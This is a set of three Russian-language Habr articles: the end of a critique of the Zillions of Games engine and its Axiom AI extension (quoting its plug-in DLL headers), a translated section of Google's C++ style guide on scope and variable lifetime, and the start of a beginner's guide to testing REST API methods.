Разумеется, эта возможность мало подходит для рядовых пользователей ZoG. Разработчики Axiom позаботились о них, предоставив вместе с расширением, AI собственной разработки. Помимо всего прочего, этот вариант AI гораздо лучше штатного справляется с играми на «захват территории» и «соединение», такими как [Hex](http://zillionsofgames.com/cgi-bin/zilligames/submissions.cgi?do=show;id=1471). Кроме того, в качестве языка программирования, Axiom использует [Forth Script](http://en.wikipedia.org/wiki/Forth_%28programming_language%29), предоставляющий поддержку арифметических операций.
К сожалению, являясь расширением ZoG, Axiom вынужден использовать интерфейс, разработанный для взаимодействия с расширениями. Я позволю себе привести ёго здесь:
**Engine.h**
```
// Engine.h
//
// Copyright 1998-2000 Zillions Development
//
// Header file for plug-in DLL engine to Zillions
#include "EngineDLL.h"
DLL_Result FAR PASCAL DLL_Search(long lSearchTime, long lDepthLimit, long lVariety,
Search_Status *pSearchStatus, LPSTR bestMove, LPSTR currentMove,
long *plNodes, long *plScore, long *plDepth);
DLL_Result FAR PASCAL DLL_MakeAMove(LPCSTR move);
DLL_Result FAR PASCAL DLL_StartNewGame(LPCSTR variant);
DLL_Result FAR PASCAL DLL_CleanUp();
DLL_Result FAR PASCAL DLL_IsGameOver(long *lResult, LPSTR zcomment);
DLL_Result FAR PASCAL DLL_GenerateMoves(LPCSTR moveBuffer);
```
**EngineDLL.h**
```
// EngineDLL.h
//
// Copyright 1998-2000 Zillions Development
//
// Shared DLL plug-in for DLL engine and Zillions
#include "windows.h"
typedef enum {
kKEEPSEARCHING = 0,
kSTOPSOON = 1,
kSTOPNOW = 2
} Search_Status;
typedef enum {
DLL_OK = 0,
DLL_OK_DONT_SEND_SETUP = 1, // only supported in 1.0.2 and higher!
DLL_GENERIC_ERROR = -1,
DLL_OUT_OF_MEMORY_ERROR = -2,
DLL_UNKNOWN_VARIANT_ERROR = -3,
DLL_UNKNOWN_PLAYER_ERROR = -4,
DLL_UNKNOWN_PIECE_ERROR = -5,
DLL_WRONG_SIDE_TO_MOVE_ERROR = -6,
DLL_INVALID_POSITION_ERROR = -7,
DLL_NO_MOVES = -8
} DLL_Result;
enum {
UNKNOWN_SCORE = -2140000000L,
LOSS_SCORE = -2130000000L,
DRAW_SCORE = 0,
WIN_SCORE = 2130000000L
};
// ***** REQUIRED ROUTINES
// DLL_Search
//
// The DLL should search from the current position. If it returns DLL_OK it should
// also return the best move found in str; however, it should not make the move
// internally. A separate call to MakeAMove() will follow to make the move the
// engine returns.
//
// -> lSearchTime: Target search time in milliseconds
// -> lDepthLimit: Maximum moves deep the engine should search
// -> lVariety: Variety setting for engine. 0 = no variety, 10 = most variety
// -> pSearchStatus: Pointer to variable where Zillions will report search status
// -> bestMove: Pointer to a string where engine can report the best move found so far
// -> currentMove: Pointer to a string where engine can report the move being searched
// -> plNodes: Pointer to a long where engine can report # of positions searched so far
// -> plScore: Pointer to a long where engine can report current best score in search
// -> plDepth: Pointer to a long where engine can report current search depth
//
// Returns DLL_OK or a negative error code
typedef DLL_Result (FAR PASCAL *SEARCH)(long lSearchTime, long lDepthLimit, long lVariety,
const Search_Status *pSearchStatus, LPSTR bestMove, LPSTR currentMove,
long *plNodes, long *plScore, long *plDepth);
// DLL_MakeAMove
//
// The DLL should try to make the given move internally.
//
// -> move: notation for the move that the engine should make
//
// Returns DLL_OK or a negative error code
typedef DLL_Result (FAR PASCAL *MAKEAMOVE)(LPCSTR move);
// DLL_StartNewGame
//
// The DLL should reset the board for a new game.
//
// -> variant: The variant to be played as it appears in the variant menu
//
// Returns DLL_OK, DLL_OK_DONT_SEND_SETUP, DLL_OUT_OF_MEMORY_ERROR, or
// DLL_GENERIC_ERROR
typedef DLL_Result (FAR PASCAL *STARTNEWGAME)(LPCSTR variant);
// DLL_CleanUp
//
// The DLL should free memory and prepare to be unloaded.
//
// Returns DLL_OK, DLL_OUT_OF_MEMORY_ERROR, or DLL_GENERIC_ERROR
typedef DLL_Result (FAR PASCAL *CLEANUP)(void);
// ***** OPTIONAL ROUTINES
// DLL_IsGameOver
//
// This optional function is called by Zillions to see if a game is over. If
// not present, Zillions uses the goal in the ZRF to decide the winner.
//
// -> lResult: Pointer to the game result which the DLL should fill in when
// called. If the game is over the routine should fill in WIN_SCORE,
// DRAW_SCORE, or LOSS_SCORE. Otherwise the routine should fill in
// UNKNOWN_SCORE.
// -> zcomment: Pointer to a 500-char string in Zillions which the DLL can optionally
// fill in, to make an announcement about why the game is over, such
// as "Draw by third repetition". The DLL should not modify this
// string if there is nothing to report.
//
// Returns DLL_OK or a negative error code
typedef DLL_Result (FAR PASCAL *ISGAMEOVER)(long *lResult, LPSTR zcomment);
// DLL_GenerateMoves
//
// You can use GenerateMoves in your DLL to tell Zillions the legal moves for
// any position in the game.
//
// -> moveBuffer: Pointer to a 1024-char sting which the DLL should fill in when
// called. Initial call should be with moveBuffer set to "". Each call
// to GenerateMoves should fill in the next available move from the
// current position, with a final "" when no more moves are available.
// All moves must be in valid Zillions move string format.
//
// Returns DLL_OK or a negative error code
typedef DLL_Result (FAR PASCAL *GENERATEMOVES)(LPCSTR moveBuffer);
```
Как можно видеть, этот интерфейс предназначен исключительно для передачи ядру ZoG, ходов, сгенерированных AI. Ход должен формироваться (в недокументированной) ZSG-нотации. Дополнительно, расширение может определять условие завершение игры, но оно не занимается контролем корректности ходов — эта часть остаётся в ZRF! Из этого простого факта следует, что все недостатки ZRF, о которых я говорил выше (за исключением отсутствия поддержки арифметики) остаются в силе.
На самом, деле, в случае Axiom, ситуация еще хуже. Интерфейс взаимодействия с расширениями не предоставляет доступа к правилам игры, написанным на ZRF (напомню, что без них мы обойтись не можем). Поскольку Axiom AI, для своей работы, должен иметь доступ к этим правилам, их приходится **дублировать** на языке Forth Script! Имеется, правда, утилита, автоматизирующая этот процесс. Всё это превращает разработку, с использованием Axiom, в совсем не простое дело.
Продолжая свой рассказ о недостатках ZRF, я просто не могу пройти мимо [игр с неполной информацией](http://ru.wikipedia.org/wiki/%D0%98%D0%B3%D1%80%D0%B0_%D1%81_%D0%BF%D0%BE%D0%BB%D0%BD%D0%BE%D0%B9_%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D0%B5%D0%B9#.D0.9F.D1.80.D0.B8.D0.BC.D0.B5.D1.80.D1.8B_.D0.B8.D0.B3.D1.80_.D1.81_.D0.BD.D0.B5.D0.BF.D0.BE.D0.BB.D0.BD.D0.BE.D0.B9_.D0.B8.D0.BD.D1.84.D0.BE.D1.80.D0.BC.D0.B0.D1.86.D0.B8.D0.B5.D0.B9). На ZRF имеются реализации [таких](http://zillionsofgames.com/cgi-bin/zilligames/submissions.cgi?do=show;id=1524) [игр](http://zillionsofgames.com/cgi-bin/zilligames/submissions.cgi?do=show;id=201), но являются ли они честными? Они всего лишь скрывают часть информации от **человека**. AI прекрасно видит все фигуры! Согласитесь, подобная игра «в одни ворота» имеет мало общего с тем, когда неполную информацию имеют все игроки. Видимо, это одна из причин, по которой для ZoG реализовано так мало карточных игр. Не очень интересно играть с тем, кто знает все твои карты. Имеется и другая сторона этого вопроса. Я уже не раз [упоминал](http://habrahabr.ru/post/213391/) о [Battle vs Chess](http://www.battlevschess.com/en/). Большая часть миссий в кампании этой игры построены на том, что человек и компьютер играют по разным правилам. Например в миссии «Точка невозврата» требуется заманивать фигуры противника на мины, расположенные на поле. Но если AI будет знать расположение мин, он просто не будет ходить на эти поля! Какой смысл делать ход, в результате которого просто теряешь фигуру? Чтобы игра протекала так, как она задумана разработчиками, компьютер должен «думать», что он играет по обычным правилам. Это тоже вариант игры с неполной информацией.
Еще одна больная тема ZRF — отсутствие поддержки коалиций. Хорошим «пробным камнем», в этом отношении, могут послужить [Енохианские шахматы](http://ru.wikipedia.org/wiki/%D0%95%D0%BD%D0%BE%D1%85%D0%B8%D0%B0%D0%BD%D1%81%D0%BA%D0%B8%D0%B5_%D1%88%D0%B0%D1%85%D0%BC%D0%B0%D1%82%D1%8B). Эта игра играется «пара на пару». Союзные короли не угрожают друг другу и могут запросто находиться на соседних клетках. Если один из королей союзников взят (мата в Енохианских шахматах нет), его фигуры «замораживаются». Они не могут ходить, их нельзя брать. Они просто стоят и блокируют поля. Но второй король может вернуть себе контроль над этими фигурами, взойдя на «престол» потерянного союзника! В результате, очередность ходов остаётся прежней, но игрок ходит «за себя, и за того парня». Очень сложно реализовать всё это в ZRF.
Мы много говорили об AI, теперь можно немножко поговорить о том, что может показаться не очень важным — об оформлении. В качестве иллюстрации, я предлагаю рассмотреть игру [Суракарта](http://zillionsofgames.com/cgi-bin/zilligames/submissions.cgi?do=show;id=821). Да, она реализована на ZRF, но попробуйте понаблюдать за тем, как она [играет](http://www.youtube.com/watch?v=2itOq_vh9jY). Всё понятно? Мне не очень. Взятие, в этой игре, осуществляется по совершенно уникальным правилам. Фигура должна «прокатиться» по одной или нескольким боковым петлям и ударить фигуру противника сзади. Но ZoG не умеет анимировать такое сложное движение! В результате, партия превращается в ребус. Было бы неплохо, на уровне игры, иметь возможность подключать свой визуализатор. Но, даже в ZRF-файле, правила визуализации перемешаны с правилами AI. Понятно, что разработчикам так было легче, но теперь, 3D-визуализацию, так просто, уже не подключить (хотя бы потому, что для неё нужны совсем другие ресурсы).
Резюмируя эту длинную статью, можно заметить, что большая часть проблем упирается в закрытые исходные коды продукта. Если бы исходные коды были открыты, можно было бы «допилить» функциональность и «прикрутить» свои визуализаторы. Можно было бы добиться лучшей игры, для отдельных игр, вроде Шахмат, добавив свои библиотеки дебютов и эвристики. Можно было бы портировать продукт на различные платформы, включая iOS и Android. Но исходников нет. И если нам придётся писать свои, стоит не забывать о том, что не следует повторять чужие ошибки. Стоит сделать исходники открытыми! | https://habr.com/ru/post/221779/ | null | ru | null |
# Руководство Google по стилю в C++. Часть 3
[Часть 1. Вступление](https://habr.com/ru/post/480422/)
[Часть 2. Заголовочные файлы](https://habr.com/ru/post/516444/)
**Часть 3. Область видимости**
[Часть 4. Классы](https://habr.com/ru/post/532820/)
…
Эта статья является переводом части руководства Google по стилю в C++ на русский язык.
[Исходная статья](https://github.com/evgenykislov/styleguide/blob/gh-pages/cppguide.html) (fork на github), [обновляемый перевод](https://evgenykislov.com/wp-content/custom/cpp_codestyle/cppguide_ru.html).
Область видимости
-----------------
### Пространство имён
Размещайте свой код в пространстве имён (за некоторыми исключениями). Пространство имён должно иметь уникальное имя, формируемое на основе названия проекта, и, возможно, пути. Не используйте директиву *using* (например, **using namespace foo**). Не используйте встроенные (inline) пространства имён. Для безымянных пространств имён смотрите [Безымянные пространства имён и статические переменные](#Unnamed_Namespaces_and_Static_Variables).
**Определение**
Пространства имён делят глобальную область видимости на отдельные именованные области позволяя избежать совпадения (коллизий) имён.
**За**
Пространства имён позволяют избежать конфликта имён в больших программах, при этом сами имена остаются достаточно короткими.
Например, если два разных проекта содержат класс **Foo** в глобальной области видимости, имена могут конфликтовать. Если каждый проект размещает код в своё пространство имён, то **project1::Foo** и **project2::Foo** будут разными именами, конфликтов не будет, в то же время код каждого проекта будет использовать **Foo** без префикса.
Пространства имён inline автоматически делают видимыми свои имена для включающего пространства имён. Рассмотрим пример кода:
```
namespace outer {
inline namespace inner {
void foo();
} // namespace inner
} // namespace outer
```
Здесь выражения **outer::inner::foo()** и **outer::foo()** взаимозаменяемы. Inline пространства имён в основном используются для ABI-совместимости разных версий.
**Против**
Пространства имён могут запутать программиста, усложнить понимание, что к чему относится.
Пространства имён inline, в частности, могут сбивать с толку т.к. область видимости не ограничена местом определения. Поэтому такой вид пространств имён может быть полезен только при обновлении интерфейсов с сохранением совместимости.
В ряде случаев требуется использование полных имён и это может сделать код сильно перегруженным.
**Вердикт**
Используйте пространства имён следующим образом:
* Следуйте правилам [Именования Пространств Имён](#Namespace_Names).
* В конце объявления пространства имён добавляйте комментарий, аналогично показанным в примерах.
* Заключайте в пространство имён целиком файл с исходным кодом после #include-ов, объявлений/определений [gflag-ов](https://gflags.github.io/gflags/) и предварительных объявлений классов из других пространств имён.
```
// В .h файле
namespace mynamespace {
// Все объявления внутри блока пространства имён.
// Обратите внимание на отсутствие отступа.
class MyClass {
public:
...
void Foo();
};
} // namespace mynamespace
```
```
// В .cc файле
namespace mynamespace {
// Определение функций внутри блока пространства имён.
void MyClass::Foo() {
...
}
} // namespace mynamespace
```
В **.cc** файлах могут быть дополнительные объявления, такие как флаги или using-декларации.
```
#include "a.h"
ABSL_FLAG(bool, someflag, false, "dummy flag");
namespace mynamespace {
using ::foo::Bar;
...code for mynamespace... // Код начинается с самой левой границы.
} // namespace mynamespace
```
* Чтобы генерируемый из protobuf-а код был размещён в требуемом пространстве имён, применяйте спецификатор **package** в **.proto** файле. Подробнее здесь: [Protocol Buffer Packages](https://developers.google.com/protocol-buffers/docs/reference/cpp-generated#package).
* Ничего не объявляйте в пространстве **std**, в том числе и предварительные объявления классов стандартной библиотеки. Объявление в пространстве имён **std** приведёт к неопределённому поведению (UB) и это будет непереносимый код. Для объявления сущностей используйте соответствующий заголовочный файл.
* Не используйте *using-директиву* чтобы сделать доступными все имена из пространства имён.
```
// Недопустимо -- Это загрязняет пространство имён.
using namespace foo;
```
* Не используйте *псевдонимы пространств имён* в блоке namespace в заголовочном файле, за исключением явно обозначенных «внутренних» пространств имён. Связано это с тем, что любая декларация в заголовочном файле становится частью публичного API, экспортируемого этим файлом.
```
// Укороченная запись для доступа к часто используемым именам в .cc файлах.
namespace baz = ::foo::bar::baz;
```
```
// Укороченная запись для доступа к часто используемым именам (в .h файле).
namespace librarian {
namespace impl { // Внутреннее содержимое, не являющееся частью API.
namespace sidetable = ::pipeline_diagnostics::sidetable;
} // namespace impl
inline void my_inline_function() {
// Пространство имён, локальное для функции (или метода).
namespace baz = ::foo::bar::baz;
...
}
} // namespace librarian
```
* Не используйте inline-пространства имён.
### Безымянные пространства имён и статические переменные
Когда определения внутри **.cc** файла не используются в других исходных файлах, размещайте такие определения в безымянном пространстве имён или объявляйте их как **static**. Не используйте такой тип определения в заголовочных файлах (**.h**).
**Определение**
Размещённые в безымянном пространстве имён объявления могут быть слинкованы как internal (только для внутреннего использования). Функции и переменные также могут быть с internal линковкой, если они заявлены как **static**. Такие типы объявления подразумевают, что они будут недоступны из другого файла. Если другой файл объявляет сущность с таким же именем, то оба объявления будут полностью независимы.
**Вердикт**
Использование internal линковки в **.cc** файлах предпочтительно для любого кода, к которому не обращаются снаружи (из других файлов). Не используйте подходы internal линковки в **.h** файлах.
Формат описания безымянного пространства имён полностью аналогичен именованному варианту. Не забывайте к закрывающей скобке написать комментарий, в котором имя оставьте пустым:
```
namespace {
...
} // namespace
```
### Функции: глобальные, статические внутри класса, вне класса
Предпочтительно размещать функции либо внутри класса, либо в некотором пространстве имён. Использование глобальных функций должно быть минимальным. Также не используйте класс для группировки различных функций, объявляя их статическими в одном классе: статические функции (по-правильному) должны использоваться для работы с экземплярами класса или его статическими данными.
**За**
Вообще функции (как статические, так и вне класса) довольно полезная штука, Кэп. И размещение функций либо в классе, либо в пространстве имён позволяет всё остальное содержать в чистоте (я про глобальное пространство имён).
**Против**
Иногда разумнее статические функции класса и функции вне класса сгруппировать в одном месте, в новом классе. Например, когда у них сложные зависимости от всего или им нужен доступ к внешним ресурсам.
**Вердикт**
Иногда полезно объявить функцию, не привязанную к экземпляру класса. И можно сделать либо статическую функцию в классе, либо внешнюю (вне класса) функцию. Желательно, чтобы функция-вне-класса не использовала внешних переменных и находилась в пространстве имён. Не создавайте классы только для группировки статических функций: это всё равно, что дать функциям некий префикс и группировка становится лишней.
Если требуется определить функцию: в **.cc**-файле; вне класса; используемой только в локальном файле — используйте [internal линковку](#Unnamed_Namespaces_and_Static_Variables) для ограничения области видимости.
### Локальные переменные
Объявляйте переменные внутри функции в наиболее узкойобласти видимости, инициализируйте такие переменные при объявлении.
Язык C++ позволяет объявлять переменные в любом месте функции. Однако рекомендуется делать это в наиболее узкой (наиболее вложенной) области видимости, и по возможности ближе к первому использованию. Это облегчает поиск объявлений, проще узнать тип переменной и её начальное значение. Также рекомендуется использовать инициализацию, а не объявление с присваиванием. Примеры:
```
int i;
i = f(); // Плохо -- инициализация отделена от объявления.
```
```
int j = g(); // Хорошо -- объявление с инициализацией.
```
```
std::vector v;
v.push\_back(1); // Желательно инициализировать с помощью {}.
v.push\_back(2);
```
```
std::vector v = {1, 2}; // Хорошо -- v сразу инициализирован.
```
Переменные, необходимые только внутри кода **if**, **while** и **for** лучше объявлять внутри условий, тогда область их видимости будет ограничена только соответствующим блоком кода:
```
while (const char* p = strchr(str, '/')) str = p + 1;
```
Однако учитывайте одну тонкость: если переменная есть экземпляр объекта, то при каждом входе в область видимости будет вызываться конструктор, и, соответственно, при выходе будет вызываться деструктор.
```
// Неэффективная реализация:
for (int i = 0; i < 1000000; ++i) {
Foo f; // Конструктор и деструктор Foo вызовутся по 1000000 раз каждый.
f.DoSomething(i);
}
```
Возможно было бы более эффективно такую переменную (которая используется внутри цикла) объявить вне цикла:
```
Foo f; // Конструктор и деструктор Foo вызовутся по разу.
for (int i = 0; i < 1000000; ++i) {
f.DoSomething(i);
}
```
### Переменные: статические и глобальные
Объекты в [статической области](http://en.cppreference.com/w/cpp/language/storage_duration#Storage_duration) видимости/действия запрещены, кроме [тривиально удаляемых](http://en.cppreference.com/w/cpp/types/is_destructible). Фактически это означает, что деструктор должен ничего не делать (включая вложенные или базовые типы). Формально это можно описать, что тип не содержит пользовательского или виртуального деструктора и что все базовые типы и не-статические члены ведут себя аналогично (т.е. являются тривиально удаляемыми). Статические переменные в функциях могут быть динамически инициализированными. Использование же динамической инициализации для статических членов класса или переменных в области пространства имён (namespace) в целом не рекомендуется, однако допустимо в ряде случаев (см. ниже).
Эмпирическое правило: если глобальную переменную (рассматривая её изолированно) можно объявить как **constexpr**, значить она соответствует вышеуказанным требованиям.
**Определение**
Каждый объект имеет тот или иной тип времени жизни / storage duration, и, очевидно, это влияет на время жизни объекта. Объекты статического типа доступны с момента их инициализации до момента завершения программы. Такие объекты могут быть переменными в пространстве имён («глобальные переменные»), статическими членами классов, локальными переменными внутри функций со спецификатором **static**. Статические переменные в функциях инициализируются, когда поток выполнения кода проходит в первый раз через объявление; все остальные объекты статического типа инициализируются в фазе старта (start-up) приложения. Все объекты статического типа удаляются в фазе завершения программы (до обработки незавершённых(unjoined) потоков).
Инициализация может быть динамическая, т.е. во время инициализации делается что-то нетривиальное: например, конструктор выделяет память, или переменная инициализируется идентификатором процесса. Также инициализации может быть статической. Сначала выполняется статическая инициализация: для *всех* объектов статического типа (объект инициализируется либо заданной константой, либо заполняется нулями). Далее, если необходимо, выполняется динамическая инициализация.
**За**
Глобальные и статические переменные бывают очень полезными: константные имена, дополнительные структуры данных, флаги командной строки, логирование, регистрирование, инфраструктура и др.
**Против**
Глобальные и статические переменные с динамической инициализацией или нетривиальным деструктором могут сильно усложнить код и привести к трудно обнаруживаемым багам. Порядок динамической инициализации (и разрушения) объектов может быть различным когда есть несколько единиц трансляции. И, например, когда одна из инициализаций ссылается на некую переменную статического типа, то возможна ситуация доступа к объекту до корректного начала его жизненного цикла (до полного конструирования), или уже после окончания жизненного цикла. Далее, если программа создаёт несколько потоков, которые не завершаются к моменту выхода из программы, то эти потоки могут пытаться получить доступ к объектам, которые уже разрушены.
**Вердикт**
Когда деструктор тривиальный, тогда порядок разрушения в принципе не важен. В противном случае есть риск обратиться к объекту после его разрушения. Поэтому, настоятельно рекомендуется использовать только переменные со статическим типом размещения (конечно, если они имеют тривиальный деструктор). Фундаментальные типы (указатели или **int**), как и массивы из них, являются тривиально разрушаемыми. Переменные с типом constexp также тривиально разрушаемые.
```
const int kNum = 10; // Допустимо
struct X { int n; };
const X kX[] = {{1}, {2}, {3}}; // Допустимо
void foo() {
static const char* const kMessages[] = {"hello", "world"}; // Допустимо
}
// Допустимо: constexpr всегда имеет тривиальный деструктор
constexpr std::array kArray = {{1, 2, 3}};
```
```
// Плохо: нетривиальный деструктор
const std::string kFoo = "foo";
// Плохо по тем же причинам (хотя kBar и является ссылкой, но
// правило применяется и для временных объектов в расширенным временем жизни)
const std::string& kBar = StrCat("a", "b", "c");
void bar() {
// Плохо: нетривиальный деструктор
static std::map kData = {{1, 0}, {2, 0}, {3, 0}};
}
```
Отметим, что ссылка не есть сам объект, и, следовательно, к ним не применяются ограничения по разрушению объекта. Хотя ограничения на динамическую инициализацию остаются в силе. В частности, внутри функции допустим следующий код **static T& t = \*new T;**.
#### Тонкости инициализации
Инициализация может быть запутанной: мало того, что конструктору нужно (желательно правильно) отработать, так есть ещё и предварительные вычисления:
```
int n = 5; // Отлично
int m = f(); // ? (Зависит от f)
Foo x; // ? (Зависит от Foo::Foo)
Bar y = g(); // ? (Зависит от g и Bar::Bar)
```
На выполнение всех выражений, кроме первого, может повлиять порядок инициализации, который может быть разным/неопределённым (или зависимым от ...).
Рассмотрим *константную инициализацию*. Это означает, что инициализационное выражение — константное, и если при создании объекта вызывается конструктор, то он (конструктор) тоже должен быть заявлен как **constexpr**:
```
struct Foo { constexpr Foo(int) {} };
int n = 5; // Отлично, 5 - константное выражение
Foo x(2); // Отлично, 2 - константное выражение и вызывается constexpr конструктор
Foo a[] = { Foo(1), Foo(2), Foo(3) }; // Отлично
```
Константная инициализация является рекомендуемой для большинства случаев. Константную инициализацию переменных со статическим размещением рекомендуется помечать как **constexpr** или атрибутом [**ABSL\_CONST\_INIT**](https://github.com/abseil/abseil-cpp/blob/03c1513538584f4a04d666be5eb469e3979febba/absl/base/attributes.h#L540). Любую переменную вне функции, со статическим размещением и без указанной выше маркировки следует считать динамически инициализируемой (и тщательно проверять на ревью кода).
Например, следующие инициализации могут привести к проблемам:
```
// Объявления
time_t time(time_t*); // не constexpr !
int f(); // не constexpr !
struct Bar { Bar() {} };
// Проблемные инициализации
time_t m = time(nullptr); // Инициализационное выражение не константное
Foo y(f()); // Те же проблемы
Bar b; // Конструктор Bar::Bar() не является constexpr
```
Динамическая инициализация переменных вне функций не рекомендуется. В общем случае это запрещено, однако, это можно делать если никакой код программы не зависит от порядка инициализации этой переменной среди других: в этом случае изменение порядка инициализации не может что-то поломать. Например:
```
int p = getpid(); // Допустимо, пока другие статические переменные
// не используют p в своей инициализации
```
Динамическая же инициализация статических переменных в функциях (локальных) допустима и является широко распространённой практикой.
#### Стандартные практики
* Глобальные строки: если требуется глобальная или статическая строковая константа, то рекомендуется использовать простой символьный массив или указатель на первый символ строкового литерала. Строковые литералы обычно находятся в статическом размещении (их время жизни) и этого в большинстве случаев достаточно.
* Динамические контейнеры (map, set и т.д.): если требуется статическая коллекция с фиксированными данными (например, таблицы значений для поиска), то не используйте динамические контейнеры из стандартной библиотеки как тип для статической переменной, т.к. у этих контейнеров нетривиальный деструктор. Вместо этого попробуйте использовать массивы простых (тривиальных) типов, например массив из массивов целых чисел (вместо **std::map**) или, например, массив структур с полями **int** и **const char\***. Учтите, что для небольших коллекций линейный поиск обычно вполне приемлем (и может быть очень эффективным благодаря компактному размещению в памяти). Также можете воспользоваться алгоритмами [absl/algorithm/container.h](https://github.com/abseil/abseil-cpp/blob/master/absl/algorithm/container.h) для стандартных операций. Также возможно создавать коллекцию данных уже отсортированной и использовать алгоритм бинарного поиска. Если без динамического контейнера не обойтись, то попробуйте использовать статическую переменную-указатель, объявленную в функции (см. ниже).
* Умные указатели (**unique\_ptr**, **shared\_ptr**): умные указатели освобождают ресурсы в деструкторе и поэтому использовать их нельзя. Попробуйте применить другие практики/способы, описанные в разделе. Например, одно из простых решений это использовать обычный указатель на динамически выделенный объект и далее никогда не удалять его (см. последний вариант списка).
* Статические переменные пользовательского типа: если требуется статический и константный пользовательский тип, заполненный данными, то можете объявить у этого типа тривиальный деструктор и **constexpr** конструктор.
* Если все другие способы не подходят, то можно создать динамический объект и никогда не удалять его. Объект можно создать с использованием статического указателя или ссылки, объявленной в функции, например: **static const auto& impl = \*new T(args...);**.
### Потоковые переменные
Потоковые переменные (**thread\_local**), объявленные вне функций должны быть инициализированы константой, вычисляемой во время компиляции. И это должно быть сделано с помощью атрибута [**ABSL\_CONST\_INIT**](https://github.com/abseil/abseil-cpp/blob/master/absl/base/attributes.h). В целом, для определения данных, специфичных для каждого потока, использование **thread\_local** является наиболее предпочтительным.
**Определение**
Начиная с C++11 переменные можно объявлять со спецификатором **thread\_local**:
```
thread_local Foo foo = ...;
```
Каждая такая переменная представляется собой коллекцию объектов. Разные потоки работают с разными экземплярами переменной (каждый со своим экземпляром). По поведению переменные **thread\_local** во многом похожи на [Переменные со статическим типом размещения](#Static_and_Global_Variables). Например, они могут быть объявлены в пространстве имён, внутри функций, как статические члены класса (как обычные члены класса — нельзя).
Инициализация потоковых переменных очень напоминает статические переменные, за исключением что это делается для каждого потока. В том числе это означает, что безопасно объявлять **thread\_local** переменные внутри функции. Однако в целом **thread\_local** переменные подвержены тем же проблемам, что и статические переменные (различный порядок инициализации и т.д.).
Переменная **thread\_local** разрушается вместе с завершением потока, так что здесь нет проблем с порядком разрушения, как у статических переменных.
**За**
* Потоковые переменные в принципе защищены от эффекта гонок (т.к. каждый поток обычно имеет доступ только к своему экземпляру), что очень полезно для программирования потоков.
* Переменные **thread\_local** являются единственным стандартизованным средством для создания локальных потоковых данных.
**Против**
* Операции с **thread\_local** переменными могут привести к выполнению кода, который не предполагался и его размер также может быть различным.
* Переменные **thread\_local** являются по сути глобальными переменными со всеми их недостатками (за исключением потокобезопасности).
* Выделяемая для **thread\_local** память зависит от количества потоков и её размер может быть значительным.
* Обыкновенный член класса не может быть **thread\_local**.
* В ряде случаев **thread\_local** переменные могут проигрывать по эффективности хорошо оптимизированному компилятором коду (например, интринсикам/intrinsics).
**Вердикт**
Переменные **thread\_local**, заявленные внутри функций, можно использовать без ограничений, т.к. у них с безопасностью всё отлично. Отметим, что возможно использовать объявленную внутри функции переменную **thread\_local** и вне функции. Для этого нужна функция доступа к переменной:
```
Foo& MyThreadLocalFoo() {
thread_local Foo result = ComplicatedInitialization();
return result;
}
```
Переменные **thread\_local** в классе или пространстве имён необходимо инициализировать константой времени компиляции (т.е. динамическая инициализация недопустима). Для этого необходимо аннотировать эти **thread\_local** переменные с помощью [**ABSL\_CONST\_INIT**](https://github.com/abseil/abseil-cpp/blob/master/absl/base/attributes.h) (или **constexpr**, но это лучше использовать пореже):
```
ABSL_CONST_INIT thread_local Foo foo = ...;
```
Переменные **thread\_local** должны быть предпочтительным способом определения потоковых данных.
Примечания:
Изображение взято из [открытого источника](https://www.pexels.com/photo/toddler-girl-wearing-long-sleeved-top-reading-book-while-sitting-on-bed-860536/). | https://habr.com/ru/post/571334/ | null | ru | null |
# Как тестировать методы REST API
Когда ручного тестировщика впервые просишь проверить метод REST API, того охватывает паника: «Как это делать? Я вообще почти ничего не знаю про API. Что делать? Как это тестировать?»
Спокойно. Без паники =) Я уже рассказывала на простом языке, [что такое API](https://habr.com/ru/post/464261/). А сегодня я расскажу о том, как его тестировать. На самом деле почти также, как GUI: в первую очередь это тест-дизайн и придумывание проверок, а потом уже всякие API-штучки. Но и про них не стоит забывать.
Я дам вам чек-лист, к которому вы сможете обращаться потом — «так, это проверил, и это, и это. А вот это забыл, пойду посмотрю!». А потом мы обсудим каждый пункт — зачем это проверять и как.
После теории будет практика! Для неё возьмем метод [doRegister](https://okiseleva.blogspot.com/2022/11/doregister-soap-rest-users.html) системы Users — он находится в открытом доступе, можете дергать по ходу чтения и проверять =)
Чек-лист проверок
-----------------
Общий чек-лист:
1. Правильное тело (пример)
2. Бизнес-логика: позитив, негатив
3. Различные параметры (обязательность, работа параметров)
4. Перестановка мест слагаемых (заголовки, тело)
5. Регистрозависимость (заголовки, тело)
6. Ошибки: не well formed xml / json
Где искать параметры:
* В URL
* В заголовках
* В теле запроса
* Комбинация
Тестирование параметров:
1. Правильный параметр (из примера)
2. Обязательность (что, если параметр не указать?)
3. Бизнес-логика (тест-дизайн)
4. Регистрозависимость (если параметр текстовый)
5. Перестановка местами
То есть берём REST-часть и обычную, применяем тест-дизайн, словно это параметр в графическом интерфейсе.
Тестирование заголовков:
* Заголовки из документации работают (в целом)
* А если какой-то не передать? (обязательность)
* А если передать, но неправильно? (текст ошибки)
* Позитивные тесты по доке
* Регистронезависимость заголовков
Что смотрим в ответе:
* Status Code
* Body
В теле смотрим:
1. Какие поля вернулись в ответе?
2. Значения в полях
3. Текст ошибок
Поля в ответе нужно:
* сравнить с ТЗ
* сравнить между собой SOAP \ REST
Кратко прошлись, теперь разберемся в деталях и с примерами.
### Содержание
* [Позитив или негатив?](#positive_or_negative)
* [В каком порядке тестируем](#testing_order)
1. [Примеры](#examples)
2. [Основной позитивный сценарий](#root_scenario)
3. [Альтернативные сценарии/a>](#alternative_scenario)
4. [Негативные сценарии](#negative_scenario)
5. [Параметры запроса](#params_in_req)
6. [Остальные тесты](#other_tests)
* [Что тестируем в запросе](#tests_in_request)
1. [Заголовки (Headers)](#request_headers)
2. [Тело запроса (body)](#request_body)
3. [URL](#url)
4. [Тип метода](#type)
* [Что тестируем в ответе](#tests_in_response)
1. [Тело ответа](#response_body)
2. [Статус-коды](#status_code)
* [Итоговый чек-лист проверки doRegister](#checklist_doRegister)
* [Вывод](#itogo)
---
Позитив или негатив?
--------------------
Я учу начинающих тестировщиков так: ВСЕГДА сначала позитивное тестирование, а потом негативное. Иначе вы успеете проверить всякий треш, а с нормальными данными система работать не будет.
Однако в случае тестирования интеграции негатив может оказаться приоритетнее. На одном из рабочих проектов обсуждала это с архитектором, который разрабатывает системы для интеграции — как заказное ПО, так и общедоступное. Он учил меня так:
> Сначала надо проверить негатив. Потому что разработчики продукта, которые подключают наше API, всегда будут напарываться на грабли. Не прочитали документацию / прочитали криво — получили ошибку.
>
